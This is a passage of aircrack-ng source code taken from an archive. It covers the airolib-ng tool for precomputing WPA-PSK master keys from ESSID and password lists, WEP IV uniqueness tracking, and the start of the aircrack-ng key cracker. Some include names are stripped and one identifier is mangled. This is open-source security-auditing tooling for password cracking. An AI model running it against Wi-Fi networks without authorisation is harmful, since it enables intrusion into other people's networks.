ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM passwd),2) AS Done FROM essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",0); } sql_exec(db,"COMMIT;"); } /* batch-process all combinations of ESSIDs and PASSWDs. this function may be called only once per db at the same time, yet multiple processes can batch-process a single db. don't modify this function's layout or it's queries without carefully considering speed, efficiency and concurrency. */ void batch_process(sqlite3* db) { int rc; int cur_essid = 0; struct timeval starttime; struct timeval curtime; gettimeofday(&starttime,NULL); int rowcount = 0; char *sql; if (sql_exec(db, "CREATE TEMPORARY TABLE temp.buffer (wb_id integer, essid_id integer, passwd_id integer, essid text, passwd text, pmk blob);") != SQLITE_OK) { fprintf(stderr,"Failed to create buffer for batch processing.\n"); return; } // may fail - thats ok cur_essid = query_int(db,"SELECT essid_id FROM workbench LIMIT 1;"); while(1) { //loop over everything do { //loop over ESSID do { //loop over workbench sql_exec(db,"DELETE FROM temp.buffer;"); // select some work from the workbench into our own buffer // move lockid ahead so other clients won't get those rows any time soon sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT INTO temp.buffer (wb_id,essid_id,passwd_id,essid,passwd) SELECT wb_id, essid.essid_id,passwd.passwd_id,essid,passwd FROM workbench CROSS JOIN essid ON essid.essid_id = workbench.essid_id CROSS JOIN passwd ON passwd.passwd_id = workbench.passwd_id ORDER BY lockid LIMIT 25000;"); sql_exec(db,"UPDATE workbench SET lockid=lockid+1 WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rc = query_int(db,"SELECT COUNT(*) FROM buffer;"); if (rc > 0) { // now calculate all the PMKs with a single statement. // remember the update won't lock the db sql_exec(db,"UPDATE temp.buffer SET pmk = PMK(essid,passwd);"); // commit work and delete package from workbench sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT essid_id,passwd_id,pmk FROM temp.buffer"); sql_exec(db,"DELETE FROM workbench WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rowcount += rc; gettimeofday(&curtime,NULL); int timediff = curtime.tv_sec - starttime.tv_sec; fprintf(stdout,"\rComputed %i PMK in %i seconds (%i PMK/s, %i in buffer). ",rowcount,timediff, timediff > 0 ? rowcount / timediff : rowcount, query_int(db,"SELECT COUNT(*) FROM workbench;")); fflush(stdout); } } while (rc > 0); sql = sqlite3_mprintf("INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i AND pmk.essid_id IS NULL LIMIT 250000;",cur_essid); sql_exec(db,sql); sqlite3_free(sql); } while (query_int(db,"SELECT COUNT(*) FROM workbench INNER JOIN essid ON essid.essid_id = workbench.essid_id INNER JOIN passwd ON passwd.passwd_id = workbench.passwd_id;") > 0); cur_essid = query_int(db,"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING (essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() LIMIT 1;"); if (cur_essid == 0) { printf("All ESSID processed.\n\n"); sqlite3_close(db); exit(0); /* printf("No free ESSID found. Will try determining new ESSID in 5 minutes...\n"); sleep(60*5); // slower, yet certain. should never be any better than the above, unless users fumble with the db. cur_essid = query_int(db,"SELECT essid.essid_id FROM essid,passwd LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE pmk.essid_id IS NULL LIMIT 1;"); if (cur_essid == 0) { printf("No free ESSID found. Sleeping 25 additional minutes...\n"); sleep(60*25); } */ } } //never reached sql_exec(db,"DROP TABLE temp.buffer;"); } // Verify an ESSID. Returns 1 if ESSID is invalid. //TODO More things to verify? Invalid chars? int verify_essid(char* essid) { return essid == NULL || strlen(essid) < 1 || strlen(essid) > 32; } // sql function which checks a given ESSID void sql_verify_essid(sqlite3_context* context, int argc, sqlite3_value** values) { char* essid = (char*)sqlite3_value_text(values[0]); if (argc != 1 || essid == 0) { fprintf(stderr,"SQL function VERIFY_ESSID called with invalid arguments"); return; } sqlite3_result_int(context,verify_essid(essid)); } int verify_passwd(char* passwd) { return passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63; } void sql_verify_passwd(sqlite3_context* context, int argc, sqlite3_value** values) { char* passwd = (char*)sqlite3_value_text(values[0]); if (argc != 1 || passwd == 0) { fprintf(stderr,"SQL function VERIFY_PASSWD called with invalid arguments"); return; } sqlite3_result_int(context,verify_passwd(passwd)); } // clean the db, analyze, maybe vacuum and check void vacuum(sqlite3* db, int deep) { printf("Deleting invalid ESSIDs and passwords...\n"); sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;"); sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0"); printf("Deleting unreferenced PMKs...\n"); sql_exec(db, "DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)"); sql_exec(db, "DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id FROM passwd)"); printf("Analysing index structure...\n"); sql_exec(db, "ANALYZE;"); if (deep != 0) { printf("Vacuum-cleaning the database. This could take a while...\n"); sql_exec(db, "VACUUM;"); printf("Checking database integrity...\n"); sql_stdout(db, "PRAGMA integrity_check;",0); } printf("Done.\n"); } // verify PMKs. If complete==1 we check all PMKs // returns 0 if ok, !=0 otherwise void verify(sqlite3* db, int complete) { if (complete != 1) { printf("Checking ~10 000 randomly chosen PMKs...\n"); // this is faster than 'order by random()'. we need the subquery to trick the optimizer... sql_stdout(db,"select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE 'OK' END AS STATUS FROM (select distinct essid,passwd,pmk FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE abs(random() % (select count(*) from pmk)) < 10000) AS s GROUP BY s.essid;",0); } else { printf("Checking all PMKs. This could take a while...\n"); sql_stdout(db,"select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != PMK(essid,passwd);",0); } } // callback for export_cowpatty. takes the passwd and pmk from the query and writes another fileentry. int sql_exportcow(void* arg, int ccount, char** values, char** columnnames) { FILE *f = (FILE*)arg; struct hashdb_rec rec; if (ccount != 2 || values[0] == NULL || values[1] == NULL || fileno(f) == -1) { printf("Illegal call to sql_exportcow.\n"); return -1; } if (columnnames) {} //XXX char* passwd = (char*)values[0]; memcpy(rec.pmk,values[1],sizeof(rec.pmk)); rec.rec_size = strlen(passwd) + sizeof(rec.pmk)+ sizeof(rec.rec_size); int rc = fwrite(&rec.rec_size,sizeof(rec.rec_size),1,f); rc += fwrite(passwd, strlen(passwd),1,f); rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f); if (rc != 3) { printf("Error while writing to export file. Query aborted...\n"); return 1; } fflush(f); return 0; } // export to a cowpatty file void export_cowpatty(sqlite3* db, char* essid, char* filename) { struct hashdb_head filehead; memset(&filehead, 0, sizeof(filehead)); FILE *f = NULL; if (access(filename, F_OK)==0) { printf("The file already exists and I won't overwrite it.\n"); return; } // ensure that the essid is found in the db and has at least one entry in the pmk table. char *sql = sqlite3_mprintf("SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",essid); int rc = query_int(db,sql); sqlite3_free(sql); if (rc == 0) { printf("There is no such ESSID in the database or there are no PMKs for it.\n"); return; } memcpy(filehead.ssid, essid,strlen(essid)); filehead.ssidlen = strlen(essid); filehead.magic = GENPMKMAGIC; f = fopen(filename, "w"); if (f == NULL || fwrite(&filehead, sizeof(filehead), 1, f) != 1) { printf("Couldn't open the export file for writing.\n"); if (f != NULL) fclose(f); return; } // as we have an open filehandle, we now query the db to return passwds and associated PMKs for that essid. we pass the filehandle to a callback function which will write the rows to the file. sql = sqlite3_mprintf("SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q'",essid); printf("Exporting...\n"); rc = sql_exec_cb(db,sql,&sql_exportcow,f); sqlite3_free(sql); if (rc != SQLITE_OK) { printf("There was an error while exporting.\n"); } fclose(f); printf("Done.\n"); } // import a cowpatty file int import_cowpatty(sqlite3* db, char* filename) { struct hashdb_head filehead; struct hashdb_rec rec; FILE *f = NULL; int rc; sqlite3_stmt *stmt; char* sql; int essid_id; int wordlength; char passwd[63+1]; if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL || fread(&filehead, sizeof(filehead),1,f) != 1) { printf("Couldn't open the import file for reading.\n"); if (f != NULL) fclose(f); return 0; } else if (filehead.magic != GENPMKMAGIC) { printf("File doesn't seem to be a cowpatty file.\n"); fclose(f); return 0; } else if (verify_essid((char *)filehead.ssid) != 0) { printf("The file's ESSID is invalid.\n"); fclose(f); return 0; } printf("Reading header...\n"); //We need protection so concurrent transactions can't smash the ID-references sql_exec(db,"BEGIN;"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",filehead.ssid); sql_exec(db,sql); sqlite3_free(sql); //since there is only one essid per file, we can determine it's ID now sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'", filehead.ssid); essid_id = query_int(db,sql); sqlite3_free(sql); if (essid_id == 0) { fclose(f); sql_exec(db,"ROLLBACK;"); printf("ESSID couldn't be inserted. I've given up.\n"); return 0; } sql = sqlite3_mprintf("CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_prepare(db,"INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)",&stmt,-1); printf("Reading...\n"); while ((rc = fread(&rec.rec_size, sizeof(rec.rec_size), 1, f)) == 1) { wordlength = rec.rec_size - (sizeof(rec.pmk) + sizeof(rec.rec_size)); //prevent out of bounds writing (sigsegv guaranteed) but don't skip the whole file if wordlength < 8 if (wordlength > 0 && wordlength < (int) sizeof(passwd)) { passwd[wordlength] = 0; rc += fread(passwd, wordlength, 1, f); if (rc == 2) rc += fread(&rec.pmk, sizeof(rec.pmk), 1, f); } if (rc != 3) { fprintf(stdout,"Error while reading record (%i).\n",rc); sqlite3_finalize(stmt); if (db == NULL) { printf("omg"); fflush(stdout); } sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } if (verify_passwd(passwd) == 0) { sqlite3_bind_text(stmt,1,passwd, strlen(passwd),SQLITE_TRANSIENT); sqlite3_bind_blob(stmt,2,&rec.pmk, sizeof(rec.pmk),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sqlite3_finalize(stmt); sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } } else { fprintf(stdout,"Invalid password %s will not be imported.\n",passwd); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } printf("Updating references...\n"); sql_exec(db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;"); //TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR IGNORE printf("Writing...\n"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT %i,passwd.passwd_id,import.pmk FROM import INNER JOIN passwd ON passwd.passwd = import.passwd;",essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_exec(db,"COMMIT;"); fclose(f); return 1; } int import_ascii(sqlite3* db, const char* mode, const char* filename) { FILE *f = NULL; sqlite3_stmt *stmt; char buffer[63+1]; int imported=0; int ignored=0; int imode=0; if (strcasecmp(mode,IMPORT_ESSID) == 0) { imode = 0; } else if (strcasecmp(mode,IMPORT_PASSWD) == 0) { imode = 1; } else { printf("Specify either 'essid' or 'passwd' as import mode.\n"); return 0; } if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL) { printf("Could not open file/stream for reading.\n"); return 0; } char* sql = sqlite3_mprintf("INSERT OR IGNORE INTO %q (%q) VALUES (@v);",mode,mode); sql_prepare(db,sql,&stmt,-1); sqlite3_free(sql); sql_exec(db, "BEGIN;"); printf("Reading file...\n"); while (fgets(buffer, sizeof(buffer), f) != 0) { int i = strlen(buffer); if (buffer[i-1] == '\n') buffer[--i] = '\0'; if (buffer[i-1] == '\r') buffer[--i] = '\0'; imported++; if ((imode == 0 && verify_essid(buffer)==0) || (imode == 1 && verify_passwd(buffer)==0)) { sqlite3_bind_text(stmt,1,buffer, strlen(buffer),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sql_exec(db, "ROLLBACK;"); sqlite3_finalize(stmt); fclose(f); return 1; } } else { ignored++; } if (imported % 1000 == 0) { fprintf(stdout,"%i lines read, %i invalid lines ignored.\r",imported,ignored); fflush(stdout); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } fclose(f); printf("Writing...\n"); sql_exec(db,"COMMIT;"); printf("Done.\n"); return 1; } // sql function. takes ESSID and PASSWD, gives PMK void sql_calcpmk(sqlite3_context* context, int argc, sqlite3_value** values) { unsigned char pmk[40]; char* passwd = (char*)sqlite3_value_blob(values[1]); char* essid = (char*)sqlite3_value_blob(values[0]); if (argc < 2 || passwd == 0 || essid == 0) { sqlite3_result_error(context, "SQL function PMK() called with invalid arguments.\n", -1); return; } calc_pmk(passwd,essid,pmk); sqlite3_result_blob(context,pmk,32,SQLITE_TRANSIENT); } #ifdef HAVE_REGEXP void sqlite_regexp(sqlite3_context* context, int argc, sqlite3_value** values) { int ret; regex_t regex; char* reg = (char*)sqlite3_value_text(values[0]); char* text = (char*)sqlite3_value_text(values[1]); if ( argc != 2 || reg == 0 || text == 0) { sqlite3_result_error(context, "SQL function regexp() called with invalid arguments.\n", -1); return; } ret = regcomp(®ex, reg, REG_EXTENDED | REG_NOSUB); if ( ret != 0 ) { sqlite3_result_error(context, "error compiling regular expression", -1); return; } ret = regexec(®ex, text , 0, NULL, 0); regfree(®ex); sqlite3_result_int(context, (ret != REG_NOMATCH)); } #endif int initDataBase(const char * filename, sqlite3 ** db) { //int rc = sqlite3_open_v2(filename, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, NULL); int rc = sqlite3_open(filename, &(*db)); if (rc != SQLITE_OK) { sql_error(*db); sqlite3_close(*db); // May be usefull later return rc; } sql_exec(*db, "create table essid (essid_id integer primary key autoincrement, essid text, prio integer default 64);"); sql_exec(*db, "create table passwd (passwd_id integer primary key autoincrement, passwd text);"); sql_exec(*db, "create table pmk (pmk_id integer primary key autoincrement, passwd_id int, essid_id int, pmk blob);"); sql_exec(*db, "create table workbench (wb_id integer primary key autoincrement, essid_id integer, passwd_id integer, lockid integer default 0);"); sql_exec(*db, "create index lock_lockid on workbench (lockid);"); sql_exec(*db, "create index pmk_pw on pmk (passwd_id);"); sql_exec(*db, "create unique index essid_u on essid (essid);"); sql_exec(*db, "create unique index passwd_u on passwd (passwd);"); sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);"); sql_exec(*db, "create unique index wb_u on workbench (essid_id,passwd_id);"); sql_exec(*db, "CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM workbench WHERE workbench.essid_id = OLD.essid_id; END;"); sql_exec(*db, "CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM workbench WHERE workbench.passwd_id = OLD.passwd_id; END;"); #ifdef SQL_DEBUG sql_exec(*db, "begin;"); sql_exec(*db, "insert into essid (essid,prio) values ('e',random())"); sql_exec(*db, "insert into passwd (passwd) values ('p')"); sql_exec(*db, "insert into essid (essid,prio) select essid||'a',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'b',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'c',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'d',random() from essid;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'a' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'b' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'c' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'d' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'e' from passwd;"); sql_exec(*db, "insert into pmk (essid_id,passwd_id) select essid_id,passwd_id from essid,passwd limit 1000000;"); sql_exec(*db,"commit;"); #endif sqlite3_close(*db); printf("Database <%s> successfully created\n", filename); return 0; } int check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly) { struct stat dbfile; int rc; int accessflags = R_OK | W_OK; if (readonly) accessflags = R_OK; // Check if DB exist. If it does not, initialize it if (access(filename, accessflags)) { printf("Database <%s> does not already exist, ", filename); if (can_create) { printf("creating it...\n"); rc = initDataBase(filename, db); if (rc) { printf("Error initializing database (return code: %d), exiting...\n", rc); return 1; } } else { printf("exiting ...\n"); return 1; } } else { if (stat(filename, &dbfile)) { perror("stat()"); return 1; } if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0) { printf("\"%s\" does not appear to be a file.\n", filename); return 1; } } rc = sqlite3_open(filename, &(*db)); if(rc) { sql_error(*db); sqlite3_close(*db); return 1; } // TODO: Sanity check: Table definitions, index // register new functions to be used in SQL statements if (sqlite3_create_function(*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk,0,0) != SQLITE_OK) { printf("Failed creating PMK function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_ESSID function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_PASSWD function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #ifdef HAVE_REGEXP if (sqlite3_create_function(*db, "regexp", 2, SQLITE_ANY,0, &sqlite_regexp,0,0) != SQLITE_OK) { printf("Failed creating regexp() handler.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #endif return 0; } int main(int argc, char **argv) { sqlite3 *db; int option_index, option; if( argc < 3 ){ print_help(NULL); return 1; } db = NULL; option_index = 0; static struct option long_options[] = { {"batch", 0, 0, 'b'}, {"clean", 2, 0, 'c'}, {"export", 2, 0, 'e'}, {"h", 0, 0, 'h'}, {"help", 0, 0, 'h'}, {"import", 2, 0, 'i'}, {"sql", 1, 0, 's'}, {"stats", 2, 0, 't'}, {"statistics", 2, 0, 't'}, {"verify", 2, 0, 'v'}, {"vacuum", 2, 0, 'c'}, // TODO: implement options like '-e essid' to limit // operations to a certain essid where possible {"essid", 1, 0, 'd'}, {0, 0, 0, 0 } }; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif option = getopt_long( argc, argv, "bc:d:e:hi:s:t:v:", long_options, &option_index ); if( option > 0 ) { switch (option) { case 'b': // Batch if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } batch_process(db); break; case 'c': // Clean if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } vacuum(db, (argc > 3 && strcasecmp(argv[3],"all") == 0) ? 1 : 0); break; case 'e': if (argc < 4) { print_help("You must specify an export format."); } else if (strcmp(argv[3],"cowpatty")==0) { if (argc < 6) { print_help("You must specify essid and output file."); } else { // Export if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } export_cowpatty(db,argv[4],argv[5]); } } else { print_help("Invalid export format specified."); } break; case ':' : case '?' : case 'h': // Show help print_help(NULL); break; case 'i': // Import if (argc < 5) { print_help("You must specifiy an import format and a file."); } else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_cowpatty(db,argv[4]); } else if (strcasecmp(argv[3], IMPORT_ESSID) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db, IMPORT_ESSID,argv[4]); } else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0 || strcasecmp(argv[3],"password") == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db,IMPORT_PASSWD, argv[4]); } else { print_help("Invalid import format specified."); return 1; } break; case 's': // SQL // We don't know if the SQL order is changing the file or not if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } sql_stdout(db, argv[3], 0); break; case 't': // Stats if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } show_stats(db, (argv[3] == NULL) ? 0 : 1); break; case 'v': // Verify if ( check_for_db(&db, argv[1], 0, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 0 : 1) ) { return 1; } verify(db, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 1 : 0); break; default: print_help("Invalid option"); break; } } else { print_help(NULL); } if (db) sqlite3_close(db); return 0; } aircrack-ng-1.2-rc4/src/uniqueiv.c0000644000000000000000000001504312640667310015531 0ustar rootroot/* * IV uniqueness detection method. * * Copyright (C) 2004-2008 Stanislaw Pusep: * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ /* * Each IV byte is stored in corresponding "level". We have 3 levels with * IV[2] as root index (level 0), IV[1] and IV[2] as level 2 and level 1 * indices respectively. Space required to allocate all data is at maximum * 2^24/8 (2 MB) and space required by filled index structures is 257 KB. */ #include #include "uniqueiv.h" /* allocate root structure */ unsigned char **uniqueiv_init( void ) { int i; /* allocate root bucket (level 0) as vector of pointers */ unsigned char **uiv_root = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_root == NULL ) return( NULL ); /* setup initial state as empty */ for( i = 0; i < 256; ++i ) uiv_root[i] = NULL; return( uiv_root ); } /* update records with new IV */ int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; short i; if( uiv_root == NULL ) return( 0 ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* create if it doesn't exists */ if( uiv_lvl1 == NULL ) { /* allocate level 2 bucket being a vector of bits */ uiv_lvl1 = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_lvl1 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 256; i++ ) uiv_lvl1[i] = NULL; /* link to parent bucket */ uiv_root[IV[2]] = (unsigned char *) uiv_lvl1; } /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* create if it doesn't exists */ if( uiv_lvl2 == NULL ) { /* allocate level 2 bucket as a vector of pointers */ uiv_lvl2 = (unsigned char *) malloc( 32 * sizeof( unsigned char ) ); if( uiv_lvl2 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 32; i++ ) uiv_lvl2[i] = 0; /* link to parent bucket */ uiv_lvl1[IV[1]] = uiv_lvl2; } /* place single bit into level 2 bucket */ uiv_lvl2[BITWISE_OFFT( IV[0] )] |= BITWISE_MASK( IV[0] ); return( 0 ); } /* check if already seen IV */ int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return( IV_NOTHERE ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* stop here if not even allocated */ if( uiv_lvl1 == NULL ) return( IV_NOTHERE ); /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* stop here if not even allocated */ if( uiv_lvl2 == NULL ) return( IV_NOTHERE ); /* check single bit from level 2 bucket */ if( ( uiv_lvl2[ BITWISE_OFFT( IV[0] ) ] & BITWISE_MASK( IV[0] ) ) == 0 ) return( IV_NOTHERE ); else return( IV_PRESENT ); } /* unallocate everything */ void uniqueiv_wipe( unsigned char **uiv_root ) { int i, j; unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return; /* recursively wipe out allocated buckets */ for( i = 0; i < 256; ++i ) { uiv_lvl1 = (unsigned char **) uiv_root[i]; if( uiv_lvl1 != NULL ) { for( j = 0; j < 256; ++j ) { uiv_lvl2 = (unsigned char *) uiv_lvl1[j]; if( uiv_lvl2 != NULL ) { free( uiv_lvl2 ); uiv_lvl2 = NULL; } } free( uiv_lvl1 ); uiv_lvl1 = NULL; } } free( uiv_root ); uiv_root = NULL; return; } unsigned char *data_init( void ) { // It could eat up to (256*256*256) * 3 bytes = 48Mb :/ unsigned char * IVs = (unsigned char *) calloc(256*256*256 * 3, sizeof(unsigned char)); return IVs; } /* Checking WEP packet: * The 2 first bytes of 2 different data packets having the same IV (for the same AP) * should be exactly the same due to the fact that unencrypted, they are always the same: * AA AA */ int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]) { int IV_position, cloaking; // Init vars cloaking = NO_CLOAKING; // Make sure it is allocated if (data_root != NULL) { // Try to find IV IV_position = (((IV[0] * 256) + IV[1]) * 256) + IV[2]; IV_position *= 3; // Check if existing if ( *(data_root + IV_position) == 0) { // Not existing *(data_root + IV_position) = 1; // Add it *(data_root + IV_position + 1) = data[0]; *(data_root + IV_position + 2) = data[1]; } else { // Good, we found it, so check it now if ( *(data_root + IV_position + 1) != data[0] || *(data_root + IV_position + 2) != data[1]) { cloaking = CLOAKING; } } } // else, cannot detect since it is not started return cloaking; } void data_wipe(unsigned char * data) { if (data) free(data); } aircrack-ng-1.2-rc4/src/aircrack-ng.c0000644000000000000000000042173212660207441016050 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "aircrack-ng.h" #include "sha1-sse2.h" #include "osdep/byteorder.h" #include "common.h" #include "wkp-frame.h" #include "linecount.h" #include "wpapsk.h" #ifdef HAVE_SQLITE #include sqlite3 *db; #endif // libgcrypt thread callback definition for libgcrypt < 1.6.0 #ifdef USE_GCRYPT #if GCRYPT_VERSION_NUMBER < 0x010600 GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif #endif static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* stats global data */ static int _speed_test; struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ struct timeval t_kprev; /* time at start of window */ struct timeval 